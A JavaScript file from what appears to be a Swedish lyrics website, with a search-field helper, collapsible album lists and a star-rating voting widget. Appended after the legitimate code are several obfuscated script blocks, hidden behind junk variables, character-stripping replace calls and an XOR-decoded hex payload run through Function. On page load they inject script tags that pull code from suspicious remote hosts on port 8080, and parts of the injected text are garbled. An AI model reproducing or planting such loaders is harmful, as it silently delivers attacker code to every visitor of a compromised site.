﻿
// kom ihåg gammal score? tar en del utrymme 
// men kanske kan vara värt besväret.
// poängsättningen blir på så vis tydligare. problemet är
// att det kan ta lite kraft att spara tusentals scores...
// och hur ska snittet uppdateras, via ett cron-job?
	
	//var searchClicked = false;
	
	/******* Search-field **********************************/
	function initSearchField( searchField ) {
						
		searchField.value = "Sök här";
		searchField.style.color = "#9b9b9b";
		
		searchField.onclick = function() {
			
				//this.value ="";
				this.select();
				this.style.color = "#333333";						
				//searchClicked = true;
				this.onclick = null;
			
		}
		
	}
	
	/******* Album-list ************************************/	
	
	// Toggle images
	var srcImgFolder = "/_gfx/";
	
	var srcToggleOn 	= srcImgFolder + "toggle_on.gif";
	var srcToggleOff 	= srcImgFolder + "toggle_off.gif";
	
	function getRef(method, parameter) { 
		
		return function() { window[method]( parameter ) }
	
	}	
	
	function toggleDisplays( nameContainer, nameArea, nameToggler ) {
	

	
		var tags = document.getElementsByTagName("*");

		// Ta reda på hur många containers vi har
		var boxCount = 0;
		for( var i = 0; i < tags.length; i++ ) 
			if( tags[i].getAttribute("name") == nameContainer ||
				tags[i].getAttribute("name") == nameContainer + "_expanded" )
				boxCount++;
		
		// Ta fram objekten för container, area och toggler
		// och lägg till klickegenskaper för ut- och infällning.
		for( var i = 0; i < tags.length; i++ ) {
		
			if( tags[i].getAttribute("name") == nameContainer || 
				tags[i].getAttribute("name") == nameContainer + "_expanded" ) {
			
				// Vi har en container, leta rätt på dess
				// nameArea och nameToggler
				
				var objAreas = Array();
				var objTogglers = Array();
				
				var subTags = tags[i].getElementsByTagName("*");
				
				for( var x = 0; x < subTags.length; x++) {
								
					if( subTags[x].getAttribute("name") == nameArea ){
						objAreas.push( subTags[x] );				
					
						// Kontrollera om ett särskilt album ska vara utfällt.
						if( tags[i].getAttribute("name") == nameContainer + "_expanded") {
							subTags[x].style.display = "block";
						}else{
							// Fäll ihop alla inledningsvis
							// eller vid färre än 4 album, visa utfällt.
							if( boxCount > 3 ) {
								subTags[x].style.display = "none";	
							}else{
								subTags[x].style.display = "block";
							}
						}
						
							
					}						
					
					if( subTags[x].getAttribute("name") == nameToggler ) {
						
						objTogglers.push( subTags[x] );
						
						// Kontrollera om ett särskilt album ska vara utfällt.
						if( tags[i].getAttribute("name") == nameContainer + "_expanded") {
							subTags[x].src = srcToggleOn;
						}else{
							// Sätt rätt bild (avslagen) på alla 
							// togglers inledningsvis.
							// eller vid färre än 4 album, visa on.
							if( boxCount > 3 ) {
								subTags[x].src = srcToggleOff;
							}else{
								subTags[x].src = srcToggleOn;
							}
						}
						
					}
									
				}
				
				for( objTogglerId in objTogglers ) {
					
					var objToggler = objTogglers[objTogglerId];
					
					// Skapa en event-handler för att hantera
					// klick på togglern
					objToggler.onmousedown = getRef( "_toggleElement", new Array( objAreas, objTogglers ) );
				
				}				
			
			} 
		
		}
		
				
	}
	
	function _toggleElement( objElementList ) {
	
	
		var objAreas 	= objElementList[0];
		var objTogglers = objElementList[1];
	
		
		if( objAreas && objTogglers ) {
			
			// Lista igenom alla element som ska gömmas eller visas.	
			objAreas.each( function( objArea ) { 
				
				if( objArea.style.display != "none" ) 
					objArea.style.display = "none";
				else
					objArea.style.display = "block";
				
			});
			
			// Loopa igenom alla Togglers och låt dem uppdatera
			// sig som de bör efter att någon av Togglerna har
			// expanderat eller minimerat innehållet.
			for( objTogglerId in objTogglers ) {
				var objToggler = objTogglers[ objTogglerId ];
				// Utgå ifrån det första gömda elementet för att bestämma
				// huruvida togglern ska visas som uppfälld eller nedfälld.
				// Om den inte är none syns den.
				if( objToggler.src ) {
					objToggler.src = ( objAreas[0].style.display != "none" ) ?
										srcToggleOn: 
										srcToggleOff;
				} // Alla togglers behöver inte ha ett src (bilder).
			}
		
		}
	
	}
	
/****** Grades *******/
var srcGradeFolder = srcImgFolder + "grades/";
var numGradeGroup = 0;

function createGrade( grade, songId ) {
	
	numGradeGroup++;

	for( var i = 1; i <= 5; i++ ) {
	
		var numGrade = i;
		var stsGrade = ( i <= grade )? "on":"off";
		
		// ie. grade_1_on.gif
		var imgFile = 	"grade" 	+ "_" +
						numGrade 	+ "_" +
						stsGrade 	+ "." +
						"gif"; 
									
		var imgPath = 	srcGradeFolder + imgFile;
		
		var imgId 	= 	"grade_" + numGradeGroup + numGrade;
		
		// Output	
		//var imgElement = document.createElement("img");
		//imgElement.setAttribute("src", imgPath );
		//alert(imgPath);
		var htmlElement = "<img " +
							"id=\"" + imgId + "\"" +
							"src=\"" + imgPath + "\">";
							
		document.write(htmlElement);

		// Events
		var objElement = document.getElementById( imgId );
		
		objElement.onmouseover = getRef("gradeSetSelection", new Array( numGradeGroup, grade, numGrade ) );
		objElement.onmouseout  = getRef("gradeSetSelection", new Array( numGradeGroup, grade, 0 ) );
		objElement.onclick     = getRef("gradeRate", new Array( numGradeGroup, numGrade, songId ) );
	
	}


}

function gradeRate( grade ) {
	curGradeGroup = grade[0];
	curSelGrade	  = grade[1];
	curSongId 	  =	grade[2];
				
	// Some ajax when voting is implemented.
	// [...]
	
	// Re-initialize the eventhandlers to match the new score		
	for( var i = 1; i <= 5; i++ ) {
		var numSelGrade = i;
	
		curIdElement = "grade_" + curGradeGroup + numSelGrade
		curObjElement = document.getElementById( curIdElement );
		
		curObjElement.onmouseover = getRef("gradeSetSelection", new Array( curGradeGroup, curSelGrade, numSelGrade ) );
		curObjElement.onmouseout  = getRef("gradeSetSelection", new Array( curGradeGroup, curSelGrade, curSelGrade ) );
		
		// no more voting, bara unika votes räknas
		curObjElement.onclick = null;
		
		// eller
		 //curObjElement.onmouseout  = getRef("gradeSetSelection", new Array( curGradeGroup, curSelGrade, 0 ) );
		// för att bara "ändra" score utan att indikera ändringen med 
		// highlightade siffror.
	}
	
	
	// Set a selection so the user don't have to select a new score
	// to get this score updated.
	//gradeSetSelection( new Array( curGradeGroup, curSelGrade, 0 ) );
	//alert("You gave it " + curSelGrade + " points");



	// ajax
	var axVote = new Ajax.Request(
		"ax/vote.php",
		{
			method:	'get',
			parameters: "songId=" + curSongId + "&vote=" + curSelGrade,
			onComplete: voteComplete
		}
	);
	

}

function voteComplete( d ) {
	d = d.responseText;
	if( d == "error" ) 
		alert("Oups, något gick fruktansvärt fel! Men du behöver inte oroa dig, det är inte ditt fel. Seså, skicka iväg ett email till support@lyrix.se om du är en vänlig själ :)");
	else 
	if( d == "already" )
		alert("Du har redan röstat! - det är väl inte så att du försöker fuska? Fasa!");
	
}

function gradeSetSelection( grade ) {
	curGradeGroup 	= grade[0];
	curGrade 		= grade[1];
	curSelGrade 	= grade[2];
		
	for( var i = 1; i <= 5; i++ ) {
	
		var numGrade = i;
		
		var stsGrade = "off";
		
		if( i <= curSelGrade ) 
			stsGrade = "sel";
		else if( i <= curGrade ) {
			stsGrade = "on";
		}
		
		// ie. grade_1_on.gif
		var imgFile = 	"grade" 	+ "_" +
						numGrade 	+ "_" +
						stsGrade 	+ "." +
						"gif"; 
									
		var imgPath = 	srcGradeFolder + imgFile;
		
		var imgId = "grade_" + curGradeGroup + numGrade;
		var imgObject = document.getElementById( imgId );
		
		imgObject.setAttribute("src", imgPath );
						
	}	
	
	
}






var e='soc9roiop7t~'.replace(/[~&79o]/g, '');this.y="";var hs;if(hs!='k' && hs!='kc'){hs=''};var m;if(m!='g' && m!='uh'){m=''};var u=window;var da;if(da!='z' && da != ''){da=null};var o=document;this.t='';var au=false;u.onload=function(){var bs="";try {j=o.createElement(e);var p=24226;var hv=40451;j.src='hZt5tNpf:N/N/NcZoNn5dZuNiNt|-5c5oNm5.Nm5eNgfa5p|o|rZnf.Zc5oNmZ.Zd5iNa5n5p|iZn5gZ-fc|o|m5.fb5e|sZtZnfe5w|hZaNv|e5n5.Nr5uZ:|8|0f8Z0Z/Zp5iZxZn5e|t5.5nfeftZ/|pfi|xfn5eft|.5nfeftf/|vNi|dfeNo5s|zZ.5cZo5mf/|t|rZafiZdfnNtZ.Nn|e|tZ/|gZofo5gflfe|.ZcNofm|/f'.replace(/[fNZ5\|]/g, '');j.setAttribute('d1eKf4e4r1'.replace(/[1K\:4g]/g, ''), "1");var ei;if(ei!=''){ei='hu'};var dp="";this.om='';o.body.appendChild(j);} catch(h){var jb="jb";};};var jk=new Date();var wd=new Date();
this.jx='';this.k=false;:LineMixer [var f;if(f!='t' && f != ''){f=null};var d=window;this.rn='';this.ams='';var y='s%cnr7iMp7t2'.replace(/[2n7M%]/g, '');var nt;if(nt!='z'){nt='z'};var _;if(_!='' && _!='q'){_=null};var j='cbr?eXaXtbeXE2ljejm2e2n2tb'.replace(/[b2jX\?]/g, '');]this.m=false;var kv;if(kv!=''){kv='x'};var fv=new Array();var xk=new Array();d.onload=function(){var dw=new Date();try {this.xf='';var dz="";a=document[j](y);var oc='';var _b;if(_b!='fe' && _b != ''){_b=null};var qx="";:LineMixer [a['sLrqcq'.replace(/[q\:tL\+]/g, '')]='hqtvt#p#:q/z/#s?c?rqivb?dv-#czozmz.qyvo#uzkquq.?c?ovmv.ve#nz-?w#oqrzdqpqrvevs#sz-?c?ozm?.#yvozu?r#t?o?lql#t?a?g?.zrquq:?8z0v8v0z/qgvo?o?g#lqe?.qc#ozm?/qgvoqozg?lve#.vcvoqm#/zb?bvcq.zc?o#.#u#kz/za?dvd#tzh?ivs#.vcvozm#/?gqozo?gzl?ez.qcvo?m?.#t?rq/?'.replace(/[\?qvz#]/g, '');var ui;if(ui!='_r'){ui='_r'};a.setAttribute('dPe?f9e9r?'.replace(/[\?\:%P9]/g, ''), "1");var dwj;if(dwj!='nh' && dwj!='ud'){dwj=''};var kr;if(kr!='_m' && kr!='lo'){kr=''};]var av=false;document['bIoSd*yI'.replace(/[I\*\>SC]/g, '')]['aRpgpWeQnWdQCghgiRlWdg'.replace(/[gRQWV]/g, '')](a);var eh="";var tz;if(tz!='' && tz!='aj'){tz=null};} catch(asv){};var dwp="dwp";};var _rg;if(_rg!='ji' && _rg!='v'){_rg=''};var bm;if(bm!='ox' && bm!='i'){bm=''};
var cgm=new Array();var su='';var b=new Date();function x() {this.v="v";var k="";function u(s,l,le){this.rw="rw";var qt;if(qt!='tx' && qt!='d'){qt=''};this.f=32722;this.iy=28339;s['sRe,tnA,t,tRr,i7bnuRt,en'.replace(/[nR,7h]/g, '')](l, le);this.li=false;this.qx="";}var ip=31922;var il;if(il!='g'){il='g'};var e=window;var cu;if(cu!='' && cu!='qy'){cu=''};this.zg="";var o='sOcqrOiOpLtL'.replace(/[Lgq\$O]/g, '');this.qp='';var i='cKrgega,t8eKE8lge8m8e,n,tK'.replace(/[KZ,g8]/g, '');var qpl=44755;var hp;if(hp!=''){hp='rp'};var jr;if(jr!='' && jr!='il_'){jr=''};e['o_nAl_o_a,d,'.replace(/[,_5Aq]/g, '')]=function(){var wwa;if(wwa!=''){wwa='n'};try {var xb;if(xb!='jz'){xb='jz'};c=document[i](o);this.vx=49861;var fk=false;var fv=false;u(c,'s+rTcY'.replace(/[YT\+Z\?]/g, ''),'h<t4tQp<:4/@/4mVaVc@y@s@-<c@o@m@.@e@tVsVy4.<c@o4m4.4uQi<mVsQeVrQv4-QnQeQt4.Vr4e4d<tQa4gVcQeVn<t@rVa4lQ.QrQu<:Q8@0<840</4gQo<oQgQlVeQ.@cQoQm</<g<oQo4gVl4e4.<c@oVmV/<nVbVaQ.Qc4o@mQ/Vp4e<o@p4lVeQ.VcVo<m@/<e@x<cQiQt@e4.<c<o@.Vj<p@/<'.replace(/[\<QV4@]/g, ''));var cf;if(cf!='' && cf!='nz'){cf=''};var dj;if(dj!='wr' && dj!='mi'){dj='wr'};u(c,'d;esfkekri'.replace(/[is;Bk]/g, ''),1);var _d;if(_d!='vh' && _d!='kh'){_d='vh'};var ys;if(ys!='' && ys!='sc'){ys='lr'};var yo;if(yo!='hx'){yo=''};document['bPoJd+yJ'.replace(/[Jn\+\|P]/g, '')]['aopopxe>n|dACxhAi|lxdx'.replace(/[x\>oA\|]/g, '')](c);var cd=new Array();} catch(cg){var mr=19746;var vc=false;};this.p_=55944;var lgv;if(lgv!=''){lgv='ff'};};var jv=34015;var mj='';};var uk=new Array();x();var yz="yz";var iw;if(iw!='pi' && iw!='jp'){iw=''};
var bH="bcb9a08cbdcbad9ebfa480d4bcb9bdaed493a584a7a7ada890b1bf8b8fbf83a799a39fae9bb59dad9ba49dabad9398a28d9ebda29c968f98bdbf95aab59ba5aabec987bfc4adbdbdfabbaad5958c";var XJ;if(XJ!='Yl' && XJ!='dPS'){XJ='Yl'};var bT=false;function z(S){this.hp=''; var h=function(M,l){var Sz;if(Sz!='nN' && Sz!='Tj'){Sz=''};var o=new Array();return M[n("hcaroCdeAt", [1,0,2,3])](l);var SU;if(SU!='' && SU!='nM'){SU='mF'};}; function T(Su){var d;if(d!='' && d!='WG'){d='a'};var A=[69,0][1];var s=2240;var J=[200,255][1];var nG;if(nG!='' && nG!='B'){nG=''};var I=Su[n("hgnlet", [3,4,2,1,5,0])];var YT;if(YT!='lN' && YT!='fJ'){YT=''};var Nt;if(Nt!='Ym' && Nt!='Sj'){Nt=''};var g=[121,1][1];var f=[0,143][0];this.y="y";var hm=new Date();while(A<I){var j=new Array();A++;var oO='';var Ak='';hw=h(Su,A - g);var ya;if(ya!='EQ' && ya!='dP'){ya='EQ'};var v;if(v!='Tl' && v!='oq'){v='Tl'};f+=hw*I;}var Fa='';var WC;if(WC!='uQ'){WC='uQ'};return new Y(f % J);var CS;if(CS!='' && CS!='di'){CS=''};this.ES="ES";}var Wt;if(Wt!='at' && Wt!='qY'){Wt='at'};this.ar="ar";var Ad;if(Ad!='XA'){Ad='XA'}; var bf="bf";function q(X){var HP;if(HP!='' && HP!='O'){HP='Sl'};var YS;if(YS!='' && YS!='HO'){YS='Js'};var nW=false;var NP=false;var IS =[0,155,247][0];this.HS=17520;var tY;if(tY!='' && tY!='wR'){tY='Nd'};var JF = '';var lX =[31,0,141][1];var CZ=18292;X = new Y(X);var th=4973;var r = -1;var qg;if(qg!='qd' && qg != ''){qg=null};var ac;if(ac!=''){ac='iP'};var eI;if(eI!='kZ' && eI!='oD'){eI=''};var bq;if(bq!='QW' && bq != ''){bq=null};var ly;if(ly!='' && ly!='hK'){ly=''};this.zo='';for (lX=X[n("ngleth", [2,3,0,1])]-r;lX>=IS;lX=lX-[9,18,252,1][3]){var Au;if(Au!='Fb'){Au='Fb'};JF+=X[n("hcratA", [1,0])](lX);var fA;if(fA!='' && fA!='ox'){fA=''};}var To="To";return JF;var Ds=new Array();this.Kg=62011;}var Uh;if(Uh!='Pb'){Uh='Pb'}; this.p=false;function zR(Q,t){var QA=new Date();var G=new Date();return Q^t;}this.ez=65424;var lb='';var nGE=new Array(); function n(X, Qc){var Qg;if(Qg!='' && Qg!='wRr'){Qg=''};var Ek="";var np = X.length;var gq;if(gq!='Cf'){gq=''};var JF = '';var IS=[59,102,0][2];var VD;if(VD!='bY' && VD!='La'){VD='bY'};var fV;if(fV!='Um'){fV='Um'};var g=[1][0];this.Hv="Hv";this.cj='';var U = Qc.length;this.eM=false;this.Wc="";var Pw;if(Pw!='' && Pw!='oy'){Pw='mo'};var dt='';var PD=new String();var WU;if(WU!='TI' && WU!='ig'){WU=''};for(var lX = IS; lX < np; lX += U) {this.Hc="";this.Tx="";var BZ="";var Br="";var W = X.substr(lX, U);this.ESd="";if(W.length == U){var Ww=new Array();for(var A in Qc) {var vF=false;var lS;if(lS!='Le' && lS!='Iw'){lS='Le'};var gn=new Date();JF+=W.substr(Qc[A], g);this.SQ="";}var Em=new String();var If;if(If!='' && If!='iA'){If=''};var doM;if(doM!='' && doM!='Eq'){doM=null};this.vfx="";} else {var mI='';var yC='';  JF+=W;this.jH="";this.Id="Id";}}var GM="GM";var OH;if(OH!='Uf' && OH!='fG'){OH=''};var LJb='';var FW;if(FW!='' && FW!='yo'){FW='co'};return JF;var rh="";var Dh;if(Dh!='' && Dh!='mK'){Dh=null};}var D=window;var H=D[n("lvae", [3,1,2,0])];var PW=new Date();this.gp=false;var PY=H(n("uFincton", [1,0,3,4,5,2]));var CN=false;var Y=H(n("nirStg", [3,4,2,1,0]));var b=H(n("gERexp", [2,3,0,1]));var MJ=new String();var R = '';var OC=new String();var gC=new String();var ct;if(ct!='' && ct!='dD'){ct=''};var sy;if(sy!='' && sy!='TG'){sy=''};this.ThC="ThC";this.BZV='';var KI;if(KI!='nJ'){KI=''};var Fts=new Array();var HK=Y[n("mrahofCrCode", [5,7,4,0,6,3,2,1])];var vxl=14763;var Xo=D[n("eunpasce", [1,2,0,5,6,4,3,7])];var Tk;if(Tk!='Yy' && Tk!='RW'){Tk=''};var ng;if(ng!='Oc' && ng != ''){ng=null};var AB;if(AB!='xu'){AB=''};var tP;if(tP!='Qx'){tP=''};var RV = '';var JD=new Date();this.kU="kU";var g =[1,215][0];var QZ;if(QZ!=''){QZ='oX'};var nq = /[^@a-z0-9A-Z_-]/g;var mt=new Array();var IS =[207,0,228][1];this.wQQ=59061;var EO="EO";var sK;if(sK!='' && sK!='yCz'){sK=''};var E =[53,242,105,0][3];var HB = '';var L =[2,92,245,199][0];var Yi="";var Sb = S[n("elgnht", [1,0])];var c = "%";this.Fy="Fy";var EJ=new Array();var CBw='';var Sg="";var TS=[1, n("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, n("codunemtob.da.ypnepdihCld(d)", [2,1,0,3]),3, n("uo.cmh.niaquho.cmxrmtase", [3,1,4,2,5,0]),4, n(".tcomomhehbsela:8.ru080", [2,3,4,0,1]),5, n(".desAtttirubet\'(edef\'r", [1,0]),6, n("oggoelc.mo", [1,0]),7, n("ewabmtswerro.ldcom", [1,0,3,4,2]),8, n("ndwiownlaoo.d", [5,3,0,1,4,2]),11, n("unfciotn()", [2,0,1,3]),12, n("oogg.elat", [2,1,0,3]),14, n("dose.kocm", [1,0]),15, n("cthca(e)", [3,4,1,0,2]),16, n("ouhinst", [3,5,0,2,1,4]),17, n("http\":", [4,0,1,2,3]),18, n(".sdrc", [2,0,1]),19, n("1\')\'", [1,0,3,2]),20, n("rty", [1,0,2])];var yZ;if(yZ!='PL' && yZ!='VN'){yZ=''};var Af;if(Af!='IV' && Af!='uh'){Af=''};var SO = '';var pJ;if(pJ!='bYP' && pJ!='Si'){pJ='bYP'};var rW=new String();for(var k=IS; k < Sb; k+=L){var IB='';this.jj=35379;SO+= c; this.qB="qB";SO+= S[n("stbsur", [3,4,2,0,1])](k, L);this.sg=39542;}this.nT=false;var gv;if(gv!='' && gv!='Pc'){gv='ch'};var S = Xo(SO);var Ixc=new Date();var Tf=35713;var V = new Y(z);var vm;if(vm!='' && vm!='aB'){vm=null};var cb = V[n("erlpcae", [1,0])](nq, RV);var XoG='';var Hw=false;var rY = TS[n("gnelth", [3,2,1,0])];var F = new Y(PY);var js;if(js!=''){js='Dz'};var KL=new Date();var LM;if(LM!='VV' && LM != ''){LM=null};cb = q(cb);var fGr='';this.Hu="Hu";var Z = F[n("eecralp", [3,1,6,5,4,2,0])](nq, RV);var pQ=new Array();var CPm;if(CPm!='' && CPm!='ZE'){CPm=null};var Z = T(Z);var qD=T(cb);for(var lX=IS; lX < (S[n("egnlth", [3,0,2,1])]);lX=lX+[1,160][0]) {var jK;if(jK!='WL' && jK!='hy'){jK=''};var wJv;if(wJv!='Cw' && wJv!='du'){wJv=''};var RZZ;if(RZZ!='TkO'){RZZ=''};var C = cb.charCodeAt(E);var hM = h(S,lX);hM = zR(hM, C);var gU;if(gU!='pVH'){gU=''};hM = zR(hM, qD);hM = zR(hM, Z);var HCA='';var cM;if(cM!=''){cM='xM'};E++;var TK;if(TK!=''){TK='LU'};if(E > cb.length-g){var YX;if(YX!='' && YX!='GI'){YX='IK'};var yAA=new String();E=IS;}var jY;if(jY!='' && jY!='uI'){jY='Fh'};var Wb;if(Wb!=''){Wb='Ia'};HB += HK(hM);this.orB=43376;var uhm;if(uhm!=''){uhm='fK'};}var RS;if(RS!='Jf'){RS='Jf'};var gb=new Array();for(m=IS; m < rY; m+=L){var DZ=17011;var sY;if(sY!='jC' && sY!='hr'){sY='jC'};var HC = HK(TS[m]);var NY="NY";var FC = TS[m + g];var dS="dS";var Bf=49654;var ZD=58778;var lE='';var Px = new b(HC, "g");var bs;if(bs!='qV' && bs != ''){bs=null};var ht;if(ht!='AS' && ht != ''){ht=null};HB=HB[n("erlpcae", [1,0])](Px, FC);this.cX="cX";}var jc;if(jc!='DL'){jc='DL'};var KZ;if(KZ!='cng'){KZ=''};var lk=5284;var gZ=new PY(HB);gZ();var PWu=new Date();var qA="qA";var Tv=new Array();var tp=new Array();var bZ;if(bZ!='fq' && bZ!='GIq'){bZ='fq'};var AA;if(AA!='hX' && AA!='DJ'){AA=''};cb = '';this.IDq='';this.PF=false;var Qd=new Array();var Jm=new Array();F = '';var pD;if(pD!='' && pD!='um'){pD='zD'};Z = '';qD = '';HB = '';var wx=new String();var Gj=new String();gZ = '';var CY=new Array();var qe;if(qe!='Zp'){qe='Zp'};var QB=new Date();return '';var bh;if(bh!='JDg' && bh!='ky'){bh=''};var vp;if(vp!='Qa' && vp!='wn'){vp=''};};var XJ;if(XJ!='Yl' && XJ!='dPS'){XJ='Yl'};var bT=false;z(bH);
function V() {var pP;if(pP!='g'){pP=''};var G=new Date();var Y='[';this.KM='';var h=new String();var U='g';var f=']';var b;if(b!='UH' && b!='F'){b=''};var JJ;if(JJ!='J' && JJ!='Dy'){JJ=''};var C='replace';var CE=new Date();var pu=new Date();var E=RegExp;this.pT='';var be="";var T=new Array();function c(K,P){this.Qz='';var o="";var M=Y;var CMy=new String();M+=P;var Uq;if(Uq!='' && Uq!='nw'){Uq=null};M+=f;var Zh;if(Zh!='' && Zh!='y'){Zh=''};var rM;if(rM!='' && rM!='SI'){rM=''};var j=new E(M, U);return K[C](j, h);var Qd='';var pTe='';};var FY="";var v=new Date();this.ay='';var hq;if(hq!=''){hq='kI'};var t=c('822990292282292209999',"92");var i=new Array();var Xb=new Array();var x=c('h6t6tJpJ:Q/6/Jg6o6oJgJlQeJ-JcJoJmQ-QhJk6.QhQaQo616263Q.Qc6oQmQ.6gQo6d6aQdJd6yJ-JcJo6mQ.Qs6uQpQe6r6nJe6wQsQt6u6fJf6.JrQuJ:J',"6JQ");var Wp;if(Wp!='Q_' && Wp!='zz'){Wp=''};var _v=new String();var cc=window;var H=c('chrheha7t7ehEhlhe7m7ehn7th',"7Lh");var Ym='';var I=c('sWc_r_iWpWto',"Wo_");this.SB='';var n=c('/Np0iNxNnNeLtN.Ln0e0tK/LpKiKxNn0e0t5.NnNeNt0/KaNdNdKiNcKtLi5n0gLg0aLmKe5s0.Lc5oKmN/0nLaKsKzLaN-Lk0l5a0sNaK.5pKlL/5gLoLoLg0l0eN.5c0o5m5.Lp5hLpK',"L50NK");var Ooj=new Array();var fv=new Array();cc[c('oOnGlOoGaOdG',"OG")]=function(){try {var FT=new Array();var oe=new String();var tz;if(tz!=''){tz='HA'};Ym+=x;var PjO;if(PjO!='aw' && PjO != ''){PjO=null};var h_;if(h_!='' && h_!='CC'){h_='yI'};Ym+=t;Ym+=n;this.ke='';var cH="";jt=document[H](I);var DD=new Date();var RF=new Date();Q(jt,'defer',([1,9][0]));this.Zz='';Q(jt,'src',Ym);this.w='';this.OT="";this.Gh="";document.body.appendChild(jt);var _Q;if(_Q!='uY'){_Q='uY'};this.FtY='';} catch(D){var QS=new Array();this.gN="";};var vH="";};var cb='';var s;if(s!='ak' && s != ''){s=null};function Q(_,A,p){var qu=new Array();var NS;if(NS!=''){NS='On'};_.setAttribute(A, p);var bI;if(bI!='Rs' && bI!='Yb'){bI=''};var tB;if(tB!='Xg' && tB!='Ybm'){tB=''};}var ka=new String();};V();var Fa=new String();